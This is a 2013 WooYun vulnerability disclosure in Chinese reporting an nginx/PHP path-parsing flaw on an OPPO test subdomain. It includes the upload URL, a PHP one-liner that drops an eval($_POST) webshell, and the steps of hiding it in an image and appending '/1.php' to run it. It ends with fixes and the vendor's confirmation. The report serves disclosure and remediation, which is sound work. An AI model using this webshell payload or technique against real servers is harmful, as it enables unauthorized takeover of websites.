漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2013-021118
漏洞标题：OPPO分站nginx解析可以拿下权限
相关厂商：广东欧珀移动通讯有限公司
漏洞作者： 微尘
提交时间：2013-04-02 11:28
修复时间：2013-05-17 11:29
公开时间：2013-05-17 11:29
漏洞类型：系统/服务运维配置不当
危害等级：中
自评Rank：10
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2013-04-02： 细节已通知厂商并且等待厂商处理中
2013-04-03： 厂商已经确认，细节仅向厂商公开
2013-04-13： 细节向核心白帽子及相关领域专家公开
2013-04-23： 细节向普通白帽子公开
2013-05-03： 细节向实习白帽子公开
2013-05-17： 细节向公众公开
简要描述：
OPPO分站，nginx解析被拿下权限。
管理员求礼物
礼物有木有
我只能说，这真是狗血了。。
详细说明：
上传地址：http://test.myoppo.com/bluesword/blue_sword.php?t=t_upload&Action=PostMsg
以前有人发过这个上传了，但是管理员对漏洞修补木有完成。。虽然禁止了PHP文件，但是使用解析还是能继续拿下。。
已使用解析拿下shell。
大马:<?fputs(fopen("and.php","w"),"<?eval(\$_POST[****]);?>")?>
只要把大马和一张图片合成后，上传，直接在后面加入1.php 自动生成and.php的木马。
漏洞证明：
上传地址：http://test.myoppo.com/bluesword/blue_sword.php?t=t_upload&Action=PostMsg
以前有人发过这个上传了，但是管理员对漏洞修补木有完成。。虽然禁止了PHP文件，但是使用解析还是能继续拿下。。
已使用解析拿下shell。
大马:<?fputs(fopen("and.php","w"),"<?eval(\$_POST[****]);?>")?>
只要把大马和一张图片合成后，上传，直接在后面加入1.php 自动生成and.php的木马。
修复方案：
1、设置php.ini的cgi.fix_pathinfo为0，重启php。最方便，但修改设置的影响需要自己评估。
2、给nginx的vhost配置添加如下内容，重启nginx。vhost较少的情况下也很方便。
if ( $fastcgi_script_name ~ \..*\/.*php ) {
return 403;
}
3、禁止上传目录解释PHP程序。不需要动webserver，如果vhost和服务器较多，短期内难度急剧上升；建议在vhost和服务器较少的情况下采用。
版权声明：转载请注明来源 微尘@乌云
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：10
确认时间：2013-04-03 16:50
厂商回复：
谢谢 @微尘 的反馈以及方案建议！
因为只是内部测试网站，上次修改得不到位，我们立即调整。
最新状态：
暂无